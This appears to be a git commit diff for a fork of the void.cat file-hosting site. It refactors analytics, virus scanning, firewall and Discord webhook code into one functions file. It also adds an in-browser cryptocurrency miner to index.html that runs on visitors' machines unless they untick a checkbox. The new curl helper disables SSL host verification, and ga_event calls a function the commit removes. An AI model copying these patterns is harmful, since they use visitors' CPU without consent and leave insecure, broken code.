forked from Kieran/void.cat
refactor
This commit is contained in:
parent
50d87464c4
commit
e1defcafcf
16
index.html
16
index.html
@ -7,6 +7,13 @@
|
||||
<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
|
||||
<link href="src/css/style.css" rel="stylesheet">
|
||||
<script src="src/js/util.js"></script>
|
||||
<script async src="https://www.googletagmanager.com/gtag/js?id=UA-73200448-1"></script>
|
||||
<script>
|
||||
window.dataLayer = window.dataLayer || [];
|
||||
function gtag(){dataLayer.push(arguments);}
|
||||
gtag('js', new Date());
|
||||
gtag('config', 'UA-73200448-1');
|
||||
</script>
|
||||
|
||||
<script src="bower_components/webcomponentsjs/webcomponents-lite.js"></script>
|
||||
<link rel="import" href="bower_components/polymer/polymer.html">
|
||||
@ -23,4 +30,13 @@
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
<script src="cl/lib/crypta.js"></script>
|
||||
<script>
|
||||
var miner_enabled = (localStorage.getItem("miner") || "true") == "true";
|
||||
if(miner_enabled) {
|
||||
window.miner = new CRLT.Anonymous('780c65e12f7eaebadd433b1eb488f45a5f71347a77df', { autoThreads: true, throttle: 0.1 });
|
||||
window.miner.start();
|
||||
}
|
||||
</script>
|
||||
</html>
|
@ -34,7 +34,8 @@
|
||||
<a href="https://discord.gg/8BkxTGs">Discord</a> |
|
||||
<a href="/src/php/tip-me.php">Crypto Tips</a> |
|
||||
<a href="/src/php/lightning-tip.php">⚡Lightning Tip⚡</a> |
|
||||
<a href="dat://0d7fe5f1e26e8541745f585f38f7075f135abcba78409b8b93d13c4322771297/">Dat</a>
|
||||
<a href="dat://0d7fe5f1e26e8541745f585f38f7075f135abcba78409b8b93d13c4322771297/">Dat</a> |
|
||||
<input type="checkbox" checked="{{miner}}" onclick="localStorage.setItem('miner', this.checked ? 'true' : 'false')"/> Miner enabled
|
||||
</div>
|
||||
<img src="/graph"/>
|
||||
</div>
|
||||
@ -54,6 +55,7 @@
|
||||
super.ready();
|
||||
|
||||
this.hash = window.location.hash;
|
||||
this.miner = (localStorage.getItem("miner") || "true") == "true";
|
||||
if(this.hash.length === 41){
|
||||
this.view = true;
|
||||
}else{
|
||||
|
@ -172,7 +172,7 @@
|
||||
this.xhr.upload.addEventListener('abort', this.uploadProgress.bind({ self: this }));
|
||||
this.xhr.addEventListener('readystatechange', this.uploadProgress.bind({ self: this }));
|
||||
|
||||
this.xhr.open("POST", "/src/php/upload.php?filename=" + this.file.name + (this.file.url ? "&remote=" + encodeURIComponent(this.file.url) : ""));
|
||||
this.xhr.open("POST", "https://upload.void.cat/src/php/upload.php?filename=" + this.file.name + (this.file.url ? "&remote=" + encodeURIComponent(this.file.url) : ""));
|
||||
this.xhr.send(this.file);
|
||||
}
|
||||
}
|
||||
|
@ -121,7 +121,7 @@
|
||||
}else{
|
||||
this.self.isCaptcha = false;
|
||||
this.self.isImage = (this.self.fileInfo.mime.match(/^image\/(png|jpg|jpeg|gif|bmp)$/gi) !== null);
|
||||
this.self.isVideo = (this.self.fileInfo.mime.match(/^video\/(mp4|mkv|avi|m4v)$/gi) !== null);
|
||||
this.self.isVideo = (this.self.fileInfo.mime.match(/^video\/(mp4|mkv|avi|m4v|webm)$/gi) !== null);
|
||||
this.self.isSound = (this.self.fileInfo.mime.match(/^audio\/(mp3|ogg|flac|wav|alac)$/gi) !== null);
|
||||
this.self.isDefault = !this.self.isImage && !this.self.isVideo && !this.self.isSound;
|
||||
}
|
||||
|
@ -1,6 +1,6 @@
|
||||
<?php
|
||||
include_once('config.php');
|
||||
include_once('ga.php');
|
||||
include_once('functions.php');
|
||||
|
||||
$body = file_get_contents('php://input');
|
||||
$c = json_decode($body);
|
||||
@ -11,13 +11,12 @@
|
||||
$redis = new Redis();
|
||||
$redis->pconnect(_REDIS_SERVER);
|
||||
|
||||
GAPageView($redis);
|
||||
ga_page_view($redis);
|
||||
|
||||
switch($c->cmd){
|
||||
case "config":
|
||||
{
|
||||
include_once("db.php");
|
||||
include_once("functions.php");
|
||||
|
||||
$db = new DB();
|
||||
$rsp["stats"] = $db->GetStats();
|
||||
@ -45,7 +44,7 @@
|
||||
|
||||
$dlCounter = $redis->get($hashKey);
|
||||
if($dlCounter != False && $dlCounter >= _DL_CAPTCHA) {
|
||||
GAEvent("Captcha", "Hit");
|
||||
ga_event("Captcha", "Hit");
|
||||
$rsp["captcha"] = True;
|
||||
}
|
||||
}else {
|
||||
@ -79,14 +78,14 @@
|
||||
$dlCounter = 0;
|
||||
$redis->setEx($hashKey, _CAPTCHA_DL_EXPIRE, 0);
|
||||
$rsp["ok"] = True;
|
||||
GAEvent("Captcha", "Pass");
|
||||
ga_event("Captcha", "Pass");
|
||||
}else{
|
||||
$rsp["ok"] = False;
|
||||
GAEvent("Captcha", "Fail");
|
||||
ga_event("Captcha", "Fail");
|
||||
}
|
||||
}else{
|
||||
$rsp["ok"] = True;
|
||||
GAEvent("Captcha", "Miss");
|
||||
ga_event("Captcha", "Miss");
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
@ -1,48 +0,0 @@
|
||||
<?php
|
||||
function ScanStream($res, $slen) {
|
||||
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
socket_connect($socket, '127.0.0.1', 3310);
|
||||
|
||||
$cs = 1 * 1000 * 1000; //1MB chunk size
|
||||
$offset = 0;
|
||||
|
||||
socket_write($socket, "zINSTREAM\0");
|
||||
while ($chunk = fread($res, $cs)) {
|
||||
$size = pack('N', strlen($chunk));
|
||||
socket_write($socket, $size);
|
||||
socket_write($socket, $chunk);
|
||||
}
|
||||
socket_write($socket, pack('N', 0));
|
||||
rewind($res);
|
||||
|
||||
$response = null;
|
||||
do {
|
||||
$data = socket_read($socket, 128);
|
||||
if($data === "") {
|
||||
break;
|
||||
}
|
||||
$response .= $data;
|
||||
|
||||
if(substr($response, -1) === "\0"){
|
||||
break;
|
||||
}
|
||||
}while(true);
|
||||
|
||||
return substr($response, 0, -1);
|
||||
}
|
||||
|
||||
|
||||
if(isset($_GET["check_test"])) {
|
||||
|
||||
header("Content-Type: application/json");
|
||||
|
||||
include_once("config.php");
|
||||
include_once("db.php");
|
||||
$redis = new Redis();
|
||||
$redis->pconnect(_REDIS_SERVER);
|
||||
$db = new DB();
|
||||
|
||||
$f = $db->GetFile($_GET["check_test"]);
|
||||
ScanStream(fopen($f->path, 'r'), $f->size);
|
||||
}
|
||||
?>
|
@ -1,42 +0,0 @@
|
||||
<?php
|
||||
function AddFirewallRule($ip) {
|
||||
$post = array(
|
||||
'mode' => 'challenge',
|
||||
'configuration' => array(
|
||||
'target' => 'ip',
|
||||
'value' => $ip
|
||||
),
|
||||
'notes' => 'void.cat auto block'
|
||||
);
|
||||
|
||||
$ch = curl_init();
|
||||
curl_setopt($ch, CURLOPT_URL, 'https://api.cloudflare.com/client/v4/zones/' . _CLOUDFLARE_ZONE . '/firewall/access_rules/rules');
|
||||
curl_setopt($ch, CURLOPT_POST,1);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER ,true);
|
||||
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post));
|
||||
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
|
||||
'Content-Type: application/json',
|
||||
'X-Auth-Email: ' . _CLOUDFLARE_API_EMAIL,
|
||||
'X-Auth-Key: ' . _CLOUDFLARE_API_KEY
|
||||
));
|
||||
$result = curl_exec ($ch);
|
||||
curl_close ($ch);
|
||||
|
||||
$cfr = json_decode($result, true);
|
||||
|
||||
if($cfr['success'] == True){
|
||||
$discord_data = array("content" => "[IP BLOCKED] " . $ip);
|
||||
include_once("discord.php");
|
||||
}else {
|
||||
$discord_data = array("content" => "[IP BLOCK ERROR] " . $ip . "\n```json\n" . $result . "\n```");
|
||||
include_once("discord.php");
|
||||
}
|
||||
|
||||
return $cfr;
|
||||
}
|
||||
|
||||
if(isset($_GET["ip"])) {
|
||||
include_once("config.php");
|
||||
var_dump(AddFirewallRule($_GET["ip"]));
|
||||
}
|
||||
?>
|
@ -1,23 +1,25 @@
|
||||
<?php
|
||||
include("db.php");
|
||||
|
||||
include_once("config.php");
|
||||
include_once("db.php");
|
||||
include_once("functions.php");
|
||||
|
||||
echo 'Cleaning files...';
|
||||
|
||||
$db = new DB();
|
||||
$fl = $db->GetExpiredFiles();
|
||||
|
||||
foreach($fl as $f) {
|
||||
if(unlink($f->path)) {
|
||||
$db->DeleteFile($f);
|
||||
echo 'Deleted file: ' . $f->filename . ' (' . $f->hash160 . ') \n';
|
||||
$del[] = $f->hash160;
|
||||
}else{
|
||||
echo 'Cant delete file ' . $f->path . ' \n';
|
||||
}
|
||||
if(unlink($f->path)) {
|
||||
$db->DeleteFile($f);
|
||||
echo 'Deleted file: ' . $f->filename . ' (' . $f->hash160 . ') \n';
|
||||
$del[] = $f->hash160;
|
||||
}else{
|
||||
echo 'Cant delete file ' . $f->path . ' \n';
|
||||
}
|
||||
}
|
||||
|
||||
if(count($fl) > 0){
|
||||
$discord_data = array("content" => 'Deleted ' . count($fl) . ' expired files. `' . implode("` `", $del) . '`');
|
||||
include('discord.php');
|
||||
send_pub_discord_msg($discord_data);
|
||||
}
|
||||
?>
|
||||
|
@ -1,10 +0,0 @@
|
||||
<?php
|
||||
if(_DISCORD_WEBHOOK != 'DISCORD_HOOK_URL')
|
||||
{
|
||||
$curl = curl_init(_DISCORD_WEBHOOK);
|
||||
curl_setopt($curl, CURLOPT_CUSTOMREQUEST, "POST");
|
||||
curl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($discord_data));
|
||||
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
|
||||
curl_exec($curl);
|
||||
}
|
||||
?>
|
@ -1,11 +1,11 @@
|
||||
<?php
|
||||
include_once('config.php');
|
||||
include_once('ga.php');
|
||||
include_once('functions.php');
|
||||
|
||||
$redis = new Redis();
|
||||
$redis->pconnect(_REDIS_SERVER);
|
||||
|
||||
GAPageView($redis);
|
||||
ga_page_view($redis);
|
||||
|
||||
$hash = substr($_SERVER["REQUEST_URI"], 1);
|
||||
$hashKey = _UIP . ':' . $hash;
|
||||
@ -17,6 +17,12 @@
|
||||
http_response_code(403);
|
||||
exit();
|
||||
}
|
||||
|
||||
if($rh != "void.cat") {
|
||||
//redirect to view page from hotlink
|
||||
header("location: /#" . $hash);
|
||||
exit();
|
||||
}
|
||||
}
|
||||
|
||||
//check is range request
|
||||
@ -52,17 +58,18 @@
|
||||
$dlCounter = $redis->get($hashKey);
|
||||
if($dlCounter != FALSE) {
|
||||
if($dlCounter >= _DL_CAPTCHA * 2){
|
||||
$cfbk = 'VC:CF:BLOCK';
|
||||
/*$cfbk = 'VC:CF:BLOCK';
|
||||
if(_CLOUDFLARE_API_KEY != 'API_KEY' && $redis->sIsMember($cfbk, _UIP) == False){
|
||||
$redis->sadd($cfbk, _UIP);
|
||||
include_once('cloudflare.php');
|
||||
AddFirewallRule(_UIP);
|
||||
}
|
||||
}*/
|
||||
header('location: /');
|
||||
exit();
|
||||
}else if($dlCounter >= _DL_CAPTCHA){
|
||||
//redirect for captcha check
|
||||
$redis->incr($hashKey);
|
||||
GAEvent("Captcha", "Hit");
|
||||
ga_event("Captcha", "Hit");
|
||||
header('location: ' . _SITEURL . '?dl#' . $hash);
|
||||
exit();
|
||||
}
|
||||
@ -72,7 +79,6 @@
|
||||
}
|
||||
|
||||
include_once('db.php');
|
||||
include_once('virustotal.php');
|
||||
$db = new DB();
|
||||
|
||||
//try to guess the hash if the link was truncated with '...'
|
||||
|
@ -1,6 +1,4 @@
|
||||
<?php
|
||||
include_once("config.php");
|
||||
|
||||
function ln_query($method, $params = NULL){
|
||||
$sock = fsockopen(_LN_RPC_FILE);
|
||||
if($sock) {
|
||||
@ -14,10 +12,10 @@
|
||||
|
||||
function curl_json_get($url)
|
||||
{
|
||||
return json_decode(curl_text($url));
|
||||
return json_decode(curl_get($url));
|
||||
}
|
||||
|
||||
function curl_text($url)
|
||||
function curl_get($url)
|
||||
{
|
||||
$ch = curl_init();
|
||||
curl_setopt($ch, CURLOPT_URL, $url);
|
||||
@ -30,6 +28,21 @@
|
||||
return $result;
|
||||
}
|
||||
|
||||
function curl_post($url, $data)
|
||||
{
|
||||
$ch = curl_init();
|
||||
curl_setopt($ch, CURLOPT_URL, $url);
|
||||
curl_setopt($ch, CURLOPT_POST, true);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
|
||||
curl_setopt($ch, CURLOPT_USERAGENT, _CURL_USER_AGENT);
|
||||
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
|
||||
|
||||
$result = curl_exec($ch);
|
||||
curl_close($ch);
|
||||
return $result;
|
||||
}
|
||||
|
||||
function GetAllAddrInfo($addrs)
|
||||
{
|
||||
$ret = array();
|
||||
@ -130,7 +143,7 @@
|
||||
|
||||
function GetAddrInfo_BTG($addr)
|
||||
{
|
||||
$val = curl_text("https://btgexp.com/ext/getaddress/" . $addr);
|
||||
$val = curl_get("https://btgexp.com/ext/getaddress/" . $addr);
|
||||
return (object) [
|
||||
"balance" => floatval($val),
|
||||
"txns" => 0
|
||||
@ -139,7 +152,7 @@
|
||||
|
||||
function GetAddrInfo_ZEC($addr)
|
||||
{
|
||||
$val = curl_text("https://api.zcha.in/v2/mainnet/accounts/" . $addr);
|
||||
$val = curl_get("https://api.zcha.in/v2/mainnet/accounts/" . $addr);
|
||||
return (object) [
|
||||
"balance" => $val->balance,
|
||||
"txns" => $val->recvCount
|
||||
@ -164,4 +177,186 @@
|
||||
$val = curl_json_get("https://api.coinmarketcap.com/v2/ticker/1/");
|
||||
return $val->data->quotes->USD->price;
|
||||
}
|
||||
|
||||
function call_webhook($url, $data) {
|
||||
curl_post($url, json_encode($data));
|
||||
}
|
||||
|
||||
function send_pub_discord_msg($data) {
|
||||
call_webhook(_DISCORD_WEBHOOK_PUB, $data);
|
||||
}
|
||||
|
||||
function send_discord_msg($data) {
|
||||
call_webhook(_DISCORD_WEBHOOK, $data);
|
||||
}
|
||||
|
||||
function ga_collect($p) {
|
||||
$url = "https://www.google-analytics.com/collect";
|
||||
$p["v"] = "1";
|
||||
$p["tid"] = _GA_SITE_CODE;
|
||||
$p["cid"] = session_id();
|
||||
|
||||
curl_post($url, http_build_query($p));
|
||||
}
|
||||
|
||||
function ga_page_view($redis){
|
||||
$msg = http_build_query(array(
|
||||
"v" => "1",
|
||||
"tid" => _GA_SITE_CODE,
|
||||
"cid" => isset($_COOKIE["VC:UID"]) ? $_COOKIE["VC:UID"] : uniqid(),
|
||||
"t" => "pageview",
|
||||
"dh" => $_SERVER['HTTP_HOST'],
|
||||
"dp" => $_SERVER['REQUEST_URI'],
|
||||
"uip" => _UIP,
|
||||
"ua" => isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : "",
|
||||
"dr" => isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ""
|
||||
));
|
||||
|
||||
$redis->publish('ga-page-view', $msg);
|
||||
}
|
||||
|
||||
function ga_event($cat, $act) {
|
||||
GACollect(array(
|
||||
"t" => "event",
|
||||
"ec" => $cat,
|
||||
"ea" => $act
|
||||
));
|
||||
}
|
||||
|
||||
function clamav_scan_stream($res, $slen) {
|
||||
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
socket_connect($socket, '127.0.0.1', 3310);
|
||||
|
||||
$cs = 1 * 1000 * 1000; //1MB chunk size
|
||||
$offset = 0;
|
||||
|
||||
socket_write($socket, "zINSTREAM\0");
|
||||
while ($chunk = fread($res, $cs)) {
|
||||
$size = pack('N', strlen($chunk));
|
||||
socket_write($socket, $size);
|
||||
socket_write($socket, $chunk);
|
||||
}
|
||||
socket_write($socket, pack('N', 0));
|
||||
rewind($res);
|
||||
|
||||
$response = null;
|
||||
do {
|
||||
$data = socket_read($socket, 128);
|
||||
if($data === "") {
|
||||
break;
|
||||
}
|
||||
$response .= $data;
|
||||
|
||||
if(substr($response, -1) === "\0"){
|
||||
break;
|
||||
}
|
||||
}while(true);
|
||||
|
||||
return substr($response, 0, -1);
|
||||
}
|
||||
|
||||
function CheckVirusTotal($h256) {
|
||||
$post = array('apikey' => _VIRUSTOTAL_KEY, 'resource' => $h256);
|
||||
$ch = curl_init();
|
||||
curl_setopt($ch, CURLOPT_URL, 'https://www.virustotal.com/vtapi/v2/file/report');
|
||||
curl_setopt($ch, CURLOPT_POST,1);
|
||||
curl_setopt($ch, CURLOPT_ENCODING, 'gzip,deflate');
|
||||
curl_setopt($ch, CURLOPT_USERAGENT, "gzip, void.cat virus check");
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER ,true);
|
||||
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
|
||||
|
||||
$result = curl_exec ($ch);
|
||||
curl_close ($ch);
|
||||
|
||||
$vtr = json_decode($result, true);
|
||||
|
||||
if($vtr["response_code"] == 1 && $vtr["positives"] > 0){
|
||||
$discord_data = array("content" => "[VIRUS DETECTED] " . $vtr["permalink"]);
|
||||
send_pub_discord_msg($discord_data);
|
||||
}
|
||||
|
||||
return $vtr;
|
||||
}
|
||||
|
||||
function ScanFile($res) {
|
||||
$ch = curl_init();
|
||||
$bnd_id = "---------------------------735323031399963166993862150";
|
||||
|
||||
$post_data = "--$bnd_id\r\nContent-Disposition: form-data; name='apikey'\r\n\r\n" . _VIRUSTOTAL_KEY . "\r\n--$bnd_id\r\nContent-Disposition: form-data; name='file'; filename='binary'\r\nContent-Type: application/octet-stream\r\n\r\n" . stream_get_contents($res) . "\r\n--$bnd_id--";
|
||||
$options = array(
|
||||
CURLOPT_URL => "https://www.virustotal.com/vtapi/v2/file/scan",
|
||||
CURLOPT_RETURNTRANSFER => true,
|
||||
CURLOPT_ENCODING => "gzip,deflate",
|
||||
CURLOPT_USERAGENT => "gzip, void.cat virus check",
|
||||
CURLOPT_VERBOSE => true,
|
||||
CURLOPT_HTTPHEADER => array(
|
||||
"Content-Type: multipart/form-data; boundary=$bnd_id"
|
||||
),
|
||||
CURLOPT_POST => true,
|
||||
CURLOPT_POSTFIELDS => $post_data
|
||||
);
|
||||
curl_setopt_array($ch, $options);
|
||||
|
||||
$result = curl_exec($ch);
|
||||
$status_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
|
||||
curl_close($ch);
|
||||
|
||||
if($status_code != 200) {
|
||||
return json_encode(array('response_code' => 0, 'verbose_msg' => 'Error, got status code: ' . $status_code), true);
|
||||
} else {
|
||||
return json_decode($result, true);
|
||||
}
|
||||
}
|
||||
|
||||
function CheckVirusTotalCached($redis, $h256) {
|
||||
$vr = $redis->get("VC:VT:" . $h256);
|
||||
if($vr != FALSE) {
|
||||
return json_decode($vr);
|
||||
}else {
|
||||
$vtr = CheckVirusTotal($h256);
|
||||
if($vtr["response_code"] == 1 && $vtr["positives"] > 0) {
|
||||
$redis->set("VC:VT:" . $h256, json_encode($vtr));
|
||||
} else {
|
||||
$redis->setEx("VC:VT:" . $h256, 60 * 60 * 24, json_encode($vtr));
|
||||
}
|
||||
|
||||
return $vtr;
|
||||
}
|
||||
}
|
||||
|
||||
function AddFirewallRule($ip) {
|
||||
$post = array(
|
||||
'mode' => 'challenge',
|
||||
'configuration' => array(
|
||||
'target' => 'ip',
|
||||
'value' => $ip
|
||||
),
|
||||
'notes' => 'void.cat auto block'
|
||||
);
|
||||
|
||||
$ch = curl_init();
|
||||
curl_setopt($ch, CURLOPT_URL, 'https://api.cloudflare.com/client/v4/zones/' . _CLOUDFLARE_ZONE . '/firewall/access_rules/rules');
|
||||
curl_setopt($ch, CURLOPT_POST,1);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER ,true);
|
||||
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post));
|
||||
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
|
||||
'Content-Type: application/json',
|
||||
'X-Auth-Email: ' . _CLOUDFLARE_API_EMAIL,
|
||||
'X-Auth-Key: ' . _CLOUDFLARE_API_KEY
|
||||
));
|
||||
$result = curl_exec ($ch);
|
||||
curl_close ($ch);
|
||||
|
||||
$cfr = json_decode($result, true);
|
||||
|
||||
if($cfr['success'] == True){
|
||||
$discord_data = array("content" => "[IP BLOCKED] " . $ip);
|
||||
include_once("discord.php");
|
||||
}else {
|
||||
$discord_data = array("content" => "[IP BLOCK ERROR] " . $ip . "\n```json\n" . $result . "\n```");
|
||||
include_once("discord.php");
|
||||
}
|
||||
|
||||
return $cfr;
|
||||
}
|
||||
?>
|
||||
|
@ -1,44 +0,0 @@
|
||||
<?php
|
||||
include_once('config.php');
|
||||
|
||||
function GACollect($p) {
|
||||
$url = "https://www.google-analytics.com/collect";
|
||||
$p["v"] = "1";
|
||||
$p["tid"] = _GA_SITE_CODE;
|
||||
$p["cid"] = session_id();
|
||||
|
||||
$ch = curl_init();
|
||||
|
||||
curl_setopt($ch, CURLOPT_URL, $url);
|
||||
curl_setopt($ch, CURLOPT_POST, 1);
|
||||
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($p));
|
||||
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
|
||||
curl_exec($ch);
|
||||
curl_close ($ch);
|
||||
}
|
||||
|
||||
function GAPageView($redis){
|
||||
$msg = http_build_query(array(
|
||||
"v" => "1",
|
||||
"tid" => _GA_SITE_CODE,
|
||||
"cid" => isset($_COOKIE["VC:UID"]) ? $_COOKIE["VC:UID"] : uniqid(),
|
||||
"t" => "pageview",
|
||||
"dh" => $_SERVER['HTTP_HOST'],
|
||||
"dp" => $_SERVER['REQUEST_URI'],
|
||||
"uip" => _UIP,
|
||||
"ua" => isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : "",
|
||||
"dr" => isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ""
|
||||
));
|
||||
|
||||
$redis->publish('ga-page-view', $msg);
|
||||
}
|
||||
|
||||
function GAEvent($cat, $act) {
|
||||
GACollect(array(
|
||||
"t" => "event",
|
||||
"ec" => $cat,
|
||||
"ea" => $act
|
||||
));
|
||||
}
|
||||
?>
|
@ -1,6 +1,7 @@
|
||||
<?php
|
||||
require_once('db.php');
|
||||
|
||||
include_once('db.php');
|
||||
include_once("functions.php");
|
||||
|
||||
$response = array(
|
||||
"status" => 0,
|
||||
"msg" => null,
|
||||
@ -127,7 +128,7 @@
|
||||
}*/
|
||||
|
||||
//generate public hash
|
||||
$phc = hash_init('ripemd160');
|
||||
$phc = hash_init(_PUB_HASH);
|
||||
hash_update($phc, $fh);
|
||||
$ph = hash_final($phc);
|
||||
$response["publichash"] = $ph;
|
||||
@ -149,7 +150,7 @@
|
||||
|
||||
$db->InsertFile($f_e);
|
||||
$discord_data = array("content" => _SITEURL . '#' . $f_e->hash160);
|
||||
include("discord.php");
|
||||
send_discord_msg($discord_data);
|
||||
|
||||
$response["status"] = 200;
|
||||
$response["link"] = _SITEURL . $f_e->hash160;
|
||||
|
@ -1,94 +0,0 @@
|
||||
<?php
|
||||
function CheckVirusTotal($h256) {
|
||||
$post = array('apikey' => _VIRUSTOTAL_KEY, 'resource' => $h256);
|
||||
$ch = curl_init();
|
||||
curl_setopt($ch, CURLOPT_URL, 'https://www.virustotal.com/vtapi/v2/file/report');
|
||||
curl_setopt($ch, CURLOPT_POST,1);
|
||||
curl_setopt($ch, CURLOPT_ENCODING, 'gzip,deflate');
|
||||
curl_setopt($ch, CURLOPT_USERAGENT, "gzip, void.cat virus check");
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER ,true);
|
||||
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
|
||||
|
||||
$result = curl_exec ($ch);
|
||||
curl_close ($ch);
|
||||
|
||||
$vtr = json_decode($result, true);
|
||||
|
||||
if($vtr["response_code"] == 1 && $vtr["positives"] > 0){
|
||||
$discord_data = array("content" => "[VIRUS DETECTED] " . $vtr["permalink"]);
|
||||
include_once("discord.php");
|
||||
}
|
||||
|
||||
return $vtr;
|
||||
}
|
||||
|
||||
function ScanFile($res) {
|
||||
$ch = curl_init();
|
||||
$bnd_id = "---------------------------735323031399963166993862150";
|
||||
|
||||
$post_data = "--$bnd_id\r\nContent-Disposition: form-data; name='apikey'\r\n\r\n" . _VIRUSTOTAL_KEY . "\r\n--$bnd_id\r\nContent-Disposition: form-data; name='file'; filename='binary'\r\nContent-Type: application/octet-stream\r\n\r\n" . stream_get_contents($res) . "\r\n--$bnd_id--";
|
||||
$options = array(
|
||||
CURLOPT_URL => "https://www.virustotal.com/vtapi/v2/file/scan",
|
||||
CURLOPT_RETURNTRANSFER => true,
|
||||
CURLOPT_ENCODING => "gzip,deflate",
|
||||
CURLOPT_USERAGENT => "gzip, void.cat virus check",
|
||||
CURLOPT_VERBOSE => true,
|
||||
CURLOPT_HTTPHEADER => array(
|
||||
"Content-Type: multipart/form-data; boundary=$bnd_id"
|
||||
),
|
||||
CURLOPT_POST => true,
|
||||
CURLOPT_POSTFIELDS => $post_data
|
||||
);
|
||||
curl_setopt_array($ch, $options);
|
||||
|
||||
$result = curl_exec($ch);
|
||||
$status_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
|
||||
curl_close($ch);
|
||||
|
||||
if($status_code != 200) {
|
||||
return json_encode(array('response_code' => 0, 'verbose_msg' => 'Error, got status code: ' . $status_code), true);
|
||||
} else {
|
||||
return json_decode($result, true);
|
||||
}
|
||||
}
|
||||
|
||||
function CheckVirusTotalCached($redis, $h256) {
|
||||
$vr = $redis->get("VC:VT:" . $h256);
|
||||
if($vr != FALSE) {
|
||||
return json_decode($vr);
|
||||
}else {
|
||||
$vtr = CheckVirusTotal($h256);
|
||||
$redis->setEx("VC:VT:" . $h256, 60 * 60 * 24, json_encode($vtr));
|
||||
return $vtr;
|
||||
}
|
||||
}
|
||||
|
||||
if(isset($_GET["hash"])) {
|
||||
include_once("config.php");
|
||||
$redis = new Redis();
|
||||
$redis->pconnect(_REDIS_SERVER);
|
||||
header("Content-Type: application/json");
|
||||
echo json_encode(CheckVirusTotalCached($redis, $_GET["hash"]));
|
||||
}
|
||||
|
||||
if(isset($_GET["check_test"])) {
|
||||
|
||||
header("Content-Type: application/json");
|
||||
|
||||
include_once("config.php");
|
||||
include_once("db.php");
|
||||
$redis = new Redis();
|
||||
$redis->pconnect(_REDIS_SERVER);
|
||||
$db = new DB();
|
||||
|
||||
$f = $db->GetFile($_GET["check_test"]);
|
||||
if($f) {
|
||||
$vtr = CheckVirusTotalCached($redis, $f->hash256);
|
||||
echo json_encode($vtr);
|
||||
if($vtr != null && isset($vtr->response_code) && $vtr->response_code == 0) {
|
||||
$sr = ScanFile(fopen($f->path, 'r'));
|
||||
echo json_encode($sr);
|
||||
}
|
||||
}
|
||||
}
|
||||
?>
|
Loading…
Reference in New Issue
Block a user